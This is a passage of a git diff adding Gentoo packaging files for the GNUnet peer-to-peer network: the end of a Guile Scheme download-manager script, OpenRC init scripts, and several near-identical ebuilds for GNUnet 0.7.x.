+  (let ((pid (primitive-fork)))
+    (if (= 0 pid)
+	(begin
+	  (if directory (chdir directory))
+	  (apply execlp (cons program (cons program args))))
+	pid)))
+
+(define* (start-downloader downloader uri options
+			   #:key (directory #f))
+  "Start the GNUnet downloader for URI @var{uri} with options
+@var{options}.  Return an alist describing the download status."
+  (catch 'system-error
+	 (lambda ()
+	   (let* ((pid (apply fork-and-exec
+			      `(,(if directory directory (getcwd))
+				,downloader
+				,@options))))
+	     (gnunet-info "Launched process ~a" pid)
+	     `((uri . ,uri)
+	       (working-directory . ,(if directory directory (getcwd)))
+	       (options . ,options)
+	       (pid . ,(getpid))
+	       (downloader-pid . ,pid))))
+	 (lambda (key . args)
+	   (gnunet-error (exception-string key args)))))
+
+(define (download-process-alive? uri-status)
+  "Return true if the download whose status is that described by
+@var{uri-status} is still alive."
+  (let ((pid (assoc-ref uri-status 'pid))
+	(downloader-pid (assoc-ref uri-status 'downloader-pid)))
+    (and (process-exists? pid)
+	 (process-exists? downloader-pid))))
+
+(define (start-file-download downloader status-dir uri options)
+  "Dowload the file located at @var{uri}, with options @var{options}
+and return an updated status alist."
+  (gnunet-debug "start-file-download")
+  (let ((uri-status (uri-status status-dir uri)))
+    (if (null? uri-status)
+	(acons 'start-date (current-time)
+	       (start-downloader downloader uri options))
+	(if (download-process-alive? uri-status)
+	    (and (gnunet-info "~a already being downloaded by process ~a"
+			      uri (assoc-ref uri-status 'pid))
+		 #f)
+	    (and (gnunet-info "Resuming download")
+		 (let ((start-date (assoc-ref uri-status 'start-date))
+		       (dir (assoc-ref uri-status 'working-directory))
+		       (options (assoc-ref uri-status 'options)))
+		   (acons 'start-date start-date
+			  (start-downloader downloader uri options
+					    #:directory dir))))))))
+
+(define *completed-download-hook* (make-hook 1))
+
+(define (download-file downloader status-dir uri options)
+  "Start downloading file located at URI @var{uri}, with options
+@var{options}, resuming it if it's already started."
+  (catch 'system-error
+	 (lambda ()
+	   (and-let* ((status (start-file-download downloader
+						   status-dir
+						   uri options))
+		      (pid (assoc-ref status 'downloader-pid))
+		      (filename (uri-status-file-name status-dir
+						      uri))
+		      (file (open-file filename "w")))
+
+		     ;; Write down the status
+		     (pretty-print status file)
+		     (close-port file)
+
+		     ;; Wait for `gnunet-download'
+		     (gnunet-info "Waiting for process ~a" pid)
+		     (let* ((process-status (waitpid pid))
+			    (exit-val (status:exit-val (cdr process-status)))
+			    (term-sig (status:term-sig (cdr process-status))))
+
+		       ;; Terminate
+		       (delete-file filename)
+		       (gnunet-info
+			"Download completed (PID ~a, exit code ~a)"
+			pid exit-val)
+		       (let ((ret `((end-date . ,(current-time))
+				    (exit-code . ,exit-val)
+				    (terminating-signal . ,term-sig)
+				    ,@status)))
+			 (run-hook *completed-download-hook* ret)
+			 ret))))
+	   (lambda (key . args)
+	     (gnunet-error (exception-string key args)))))
+
+(define (uri-status-files directory)
+  "Return the list of URI status files in @var{directory}."
+  (catch 'system-error
+	 (lambda ()
+	   (let ((dir (opendir directory)))
+	     (let loop ((filename (readdir dir))
+			(file-list '()))
+	       (if (eof-object? filename)
+		   file-list
+		   (if (regexp-exec *uri-status-file-re* filename)
+		       (loop (readdir dir)
+			     (cons filename file-list))
+		       (loop (readdir dir) file-list))))))
+	 (lambda (key . args)
+	   (gnunet-error (exception-string key args)))))
+
+(define (output-file-option option-list)
+  "Return the output file specified in @var{option-list}, false if
+anavailable."
+  (if (null? option-list)
+      #f
+      (let ((rest (cdr option-list))
+	    (opt (car option-list)))
+	(if (null? rest)
+	    #f
+	    (if (or (string=? opt "-o")
+		    (string=? opt "--output"))
+		(car rest)
+		(output-file-option rest))))))
+
+(define (download-command . args)
+  "Start downloading a file using the given `gnunet-download'
+arguments."
+  (gnunet-debug "download-command")
+  (let* ((argc (length args))
+	 ;; FIXME: We're assuming the URI is the last argument
+	 (uri (car (list-tail args (- argc 1))))
+	 (options args))
+    (download-file *gnunet-download* *status-directory* uri options)))
+
+(define (status-command . args)
+  "Print status info about files being downloaded."
+  (for-each (lambda (status)
+	      (format #t "~a: ~a~%  ~a~%  ~a~%  ~a~%"
+		      (assoc-ref status 'uri)
+		      (if (download-process-alive? status)
+			  (string-append "running (PID "
+					 (number->string (assoc-ref status
+								    'pid))
+					 ")")
+			  "not running")
+		      (string-append "Started on "
+				     (strftime "%c"
+					       (localtime (assoc-ref
+							   status
+							   'start-date))))
+		      (string-append "Directory:   "
+				     (assoc-ref status
+						'working-directory))
+		      (string-append "Output file: "
+				     (or (output-file-option (assoc-ref
+							      status
+							      'options))
+					 "<unknown>"))))
+	    (map (lambda (file)
+		   (uri-status *status-directory*
+			       (string-append "gnunet://afs/" file)))
+		 (uri-status-files *status-directory*))))
+
+(define (resume-command . args)
+  "Resume stopped downloads."
+  (for-each (lambda (status)
+	      (if (not (download-process-alive? status))
+		  (if (= 0 (primitive-fork))
+		      (let* ((ret (download-file *gnunet-download*
+						 *status-directory*
+						 (assoc-ref status 'uri)
+						 (assoc-ref status 'options)))
+			     (code (assoc-ref ret 'exit-code)))
+			(exit code)))))
+	    (map (lambda (file)
+		   (uri-status *status-directory*
+			       (string-append "gnunet://afs/" file)))
+		 (uri-status-files *status-directory*))))
+
+(define (killall-command . args)
+  "Stop all running downloads."
+  (for-each (lambda (status)
+	      (if (download-process-alive? status)
+		  (let ((pid (assoc-ref status 'pid))
+			(dl-pid (assoc-ref status 'downloader-pid)))
+		    (and (gnunet-info "Stopping processes ~a and ~a"
+				      pid dl-pid)
+			 (kill pid 15)
+			 (kill dl-pid 15)))))
+	    (map (lambda (file)
+		   (uri-status *status-directory*
+			       (string-append "gnunet://afs/" file)))
+		 (uri-status-files *status-directory*))))
+
+
+(define (help-command . args)
+  "Show this help message."
+  (format #t "Usage: ~a <command> [options]~%" *program-name*)
+  (format #t "Where <command> may be one of the following:~%~%")
+  (for-each (lambda (command)
+	      (if (not (eq? (cdr command) help-command))
+		  (format #t (string-append "   " (car command) ": "
+					    (object-documentation
+					     (cdr command))
+					    "~%"))))
+	    *commands*)
+  (format #t "~%"))
+
+(define (settings-command . args)
+  "Dump the current settings."
+  (format #t "Current settings:~%~%")
+  (module-for-each (lambda (symbol variable)
+		     (if (string-match "^\\*.*\\*$" (symbol->string symbol))
+			 (format #t "   ~a: ~a~%"
+				 symbol (variable-ref variable))))
+		   (current-module))
+  (format #t "~%"))
+
+(define (version-command . args)
+  "Show version information."
+  (format #t "~a ~a.~a (~a)~%"
+	  *program-name* *version-major* *version-minor* *version-date*))
+
+;; This hook may be added to *completed-download-hook*.
+(define (completed-download-notification-hook status)
+  "Notifies of the completion of a file download."
+  (let ((msg (string-append "GNUnet download of "
+			    (output-file-option
+			     (assoc-ref status 'options))
+			    " in "
+			    (assoc-ref status
+				       'working-directory)
+			    " complete!")))
+    (if (getenv "DISPLAY")
+	(waitpid (fork-and-exec #f "xmessage" msg))
+	(waitpid (fork-and-exec #f "write"
+				(cuserid) msg)))))
+
+;; Available user commands
+(define *commands*
+  `(("download" . ,download-command)
+    ("status"   . ,status-command)
+    ("resume"   . ,resume-command)
+    ("killall"  . ,killall-command)
+    ("settings" . ,settings-command)
+    ("version"  . ,version-command)
+    ("help"     . ,help-command)
+    ("--help"   . ,help-command)
+    ("-h"       . ,help-command)))
+
+(define *program-name* "gnunet-download-manager")
+(define *version-major* 0)
+(define *version-minor* 1)
+(define *version-date* "april 2004")
+
+(define (main args)
+  (set! *program-name* (basename (car args)))
+
+  ;; Load the user's configuration file
+  (if (file-exists? *rc-file*)
+      (load *rc-file*))
+
+  ;; Check whether the status directory already exists
+  (if (not (file-exists? *status-directory*))
+      (begin
+	(gnunet-info "Creating status directory ~a..." *status-directory*)
+	(catch 'system-error
+	       (lambda ()
+		 (mkdir *status-directory*))
+	       (lambda (key . args)
+		 (and (gnunet-error (exception-string key args))
+		      (exit 1))))))
+
+  ;; Go ahead
+  (if (< (length args) 2)
+      (and (format #t "Usage: ~a <command> [options]~%"
+		   *program-name*)
+	   (exit 1))
+      (let* ((command-name (cadr args))
+	     (command (assoc-ref *commands* command-name)))
+	(if command
+	    (apply command (cddr args))
+	    (and (gnunet-info "~a command not found" command-name)
+		 (exit 1))))))
\ No newline at end of file
diff --git a/net-p2p/gnunet/files/gnunet.initd b/net-p2p/gnunet/files/gnunet.initd
new file mode 100644
index 00000000..ffd01070
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet.initd
@@ -0,0 +1,32 @@
+#!/sbin/runscript
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	need net
+}
+
+start() {
+	if ! test -f "/etc/gnunetd.conf"; then
+		eerror "You must create /etc/gnunetd.conf file first"
+		return 1
+	fi
+
+	ebegin "Starting GNUnet"
+	# -u username, -c path to gnunet.conf file
+	start-stop-daemon --start --quiet --background --exec /usr/bin/gnunetd \
+		-- -u gnunetd -c /etc/gnunetd.conf
+	eend $? "Failed to start GNUnet"
+}
+
+stop() {
+	ebegin "Stopping GNUnet"
+	killall gnunetd
+	eend $? "Failed to stop GNUnet"
+}
+
+restart() {
+        svc_stop
+        sleep 3
+        svc_start
+}
diff --git a/net-p2p/gnunet/files/gnunet.initd-0.9.0 b/net-p2p/gnunet/files/gnunet.initd-0.9.0
new file mode 100644
index 00000000..63b26b51
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet.initd-0.9.0
@@ -0,0 +1,38 @@
+#!/sbin/runscript
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	need net
+}
+
+start() {
+	if ! test -f "/etc/gnunet.conf"; then
+		eerror "You must create /etc/gnunet.conf file first"
+		return 1
+	fi
+	if ! test -f "/var/lib/gnunet/hostlist/learned.data"; then
+		mkdir -p /var/lib/gnunet/hostlist/
+		wget -q http://v9.gnunet.org:58080/ -O /var/lib/gnunet/hostlist/learned.data
+		chown -R gnunetd:gnunetd /var/lib/gnunet/hostlist
+	fi
+
+	ebegin "Starting GNUnet"
+	# -u username, -c path to gnunet.conf file
+	sudo -u gnunetd /usr/bin/gnunet-arm -s -i fs -i statistics -c /etc/gnunet.conf
+#	sudo -u gnunetd /usr/bin/gnunet-services-fs -d -s -c /etc/gnunet.conf
+#	sudo -u gnunetd /usr/bin/gnunet-statistics -d -s -c /etc/gnunet.conf
+	eend $? "Failed to start GNUnet"
+}
+
+stop() {
+	ebegin "Stopping GNUnet"
+	sudo -u gnunetd /usr/bin/gnunet-arm -e
+	eend $? "Failed to stop GNUnet"
+}
+
+restart() {
+        svc_stop
+        sleep 3
+        svc_start
+}
diff --git a/net-p2p/gnunet/files/gnunet.initd-0.9.0v2 b/net-p2p/gnunet/files/gnunet.initd-0.9.0v2
new file mode 100644
index 00000000..604f448e
--- /dev/null
+++ b/net-p2p/gnunet/files/gnunet.initd-0.9.0v2
@@ -0,0 +1,35 @@
+#!/sbin/runscript
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	need net
+}
+
+start() {
+	if ! test -f "/etc/gnunet.conf"; then
+		eerror "You must create /etc/gnunet.conf file first"
+		return 1
+	fi
+	if ! test -f "/var/lib/gnunet/hostlist/learned.data"; then
+		mkdir -p /var/lib/gnunet/hostlist/
+		wget -q http://v9.gnunet.org:58080/ -O /var/lib/gnunet/hostlist/learned.data
+		chown -R gnunetd:gnunetd /var/lib/gnunet/hostlist
+	fi
+
+	ebegin "Starting GNUnet"
+	sudo -u gnunetd /usr/bin/gnunet-arm -s -c /etc/gnunet.conf
+	eend $? "Failed to start GNUnet"
+}
+
+stop() {
+	ebegin "Stopping GNUnet"
+	sudo -u gnunetd /usr/bin/gnunet-arm -e -c /etc/gnunet.conf
+	eend $? "Failed to stop GNUnet"
+}
+
+restart() {
+        svc_stop
+        sleep 3
+        svc_start
+}
diff --git a/net-p2p/gnunet/gnunet-0.7.0b.ebuild b/net-p2p/gnunet/gnunet-0.7.0b.ebuild
new file mode 100644
index 00000000..8c851286
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.0b.ebuild
@@ -0,0 +1,120 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="mirror://gnu//${PN}/GNUnet-${PV}.tar.bz2"
+RESTRICT="nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.4
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	guile? ( >=dev-scheme/guile-1.6.0 )
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+
+	# Correct a little mistake...
+	cd contrib
+	epatch ${FILESDIR}/config-daemon.in.patch
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN} gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and use as a global server config file"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.0e.ebuild b/net-p2p/gnunet/gnunet-0.7.0e.ebuild
new file mode 100644
index 00000000..d3c0ef2b
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.0e.ebuild
@@ -0,0 +1,121 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="mirror://gnu//${PN}/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	guile? ( >=dev-scheme/guile-1.6.0 )
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+#	epatch ${FILESDIR}/${P}-nulludp.patch
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.1.ebuild b/net-p2p/gnunet/gnunet-0.7.1.ebuild
new file mode 100644
index 00000000..e589eafe
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.1.ebuild
@@ -0,0 +1,122 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+MY_PV=${PV/_/}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	>=dev-scheme/guile-1.8.0
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+#	epatch ${FILESDIR}/${P}-nulludp.patch
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild b/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild
new file mode 100644
index 00000000..e589eafe
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild
@@ -0,0 +1,122 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+MY_PV=${PV/_/}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	>=dev-scheme/guile-1.8.0
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd ${S}
+#	epatch ${FILESDIR}/${P}-nulludp.patch
+
+	# make mysql default sqstore if we do not compile sql support 
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk	
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+		autoconf || die "autoconf failed"
+		libtoolize --copy --force
+	fi
+}
+
+src_compile() {
+
+	local myconf
+
+	if use ipv6; then
+		if use amd64; then
+			ewarn "ipv6 in GNUnet does not currently work with amd64 and has been disabled"
+		else
+			myconf="${myconf} --enable-ipv6"
+		fi
+	fi
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		$(use_enable guile) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	make install DESTDIR=${D} || die "make install failed"
+	dodoc ABOUT-NLS AUTHORS ChangeLog COPYING INSTALL NEWS PLATFORMS README	README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	exeinto /etc/init.d
+	newexe ${FILESDIR}/${PN}-2 gnunet
+	dodir /var/lib/GNUnet
+	chown gnunet:gnunet ${D}/var/lib/GNUnet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunet:gnunet /var/lib/GNUnet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "  1) Add user(s) to the gnunet group"
+	einfo "  2) Run 'gnunet-setup' to generate your client config file"
+	einfo "  3) Run gnunet-setup -d to generate a server config file"
+	einfo "  4) Optionally copy the .gnunet/gnunetd.conf into /etc and"
+	einfo "\tuse as a global server config file:"
+	einfo "$ gnunet-setup -d"
+	einfo "# cp ~/.gnunet/gnunetd.conf /etc/"
+	einfo
+}
+
diff --git a/net-p2p/gnunet/gnunet-0.7.1a.ebuild b/net-p2p/gnunet/gnunet-0.7.1a.ebuild
new file mode 100644
index 00000000..e589eafe
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.7.1a.ebuild
@@ -0,0 +1,122 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils libtool
+
+MY_PV=${PV/_/}
+S="${WORKDIR}/GNUnet-${MY_PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://www.gnu.org/software/GNUnet/"
+SRC_URI="http://gnunet.org/download/GNUnet-${MY_PV}.tar.bz2"
+#tests don't work
+RESTRICT="test nomirror"
+
+IUSE="ipv6 mysql sqlite guile nls gtk"
+KEYWORDS="~amd64 ~ppc ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.13
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=dev-db/mysql-4.0.24 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	>=dev-scheme/guile-1.8.0
+	nls? ( sys-devel/gettext )"
+
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunet || die "Problem adding gnunet group"
+	enewuser gnunet -1 -1 /dev/null gnunet || die "Problem adding gnunet user"
+}
+
+src_unpack() {
+	unpack ${A}
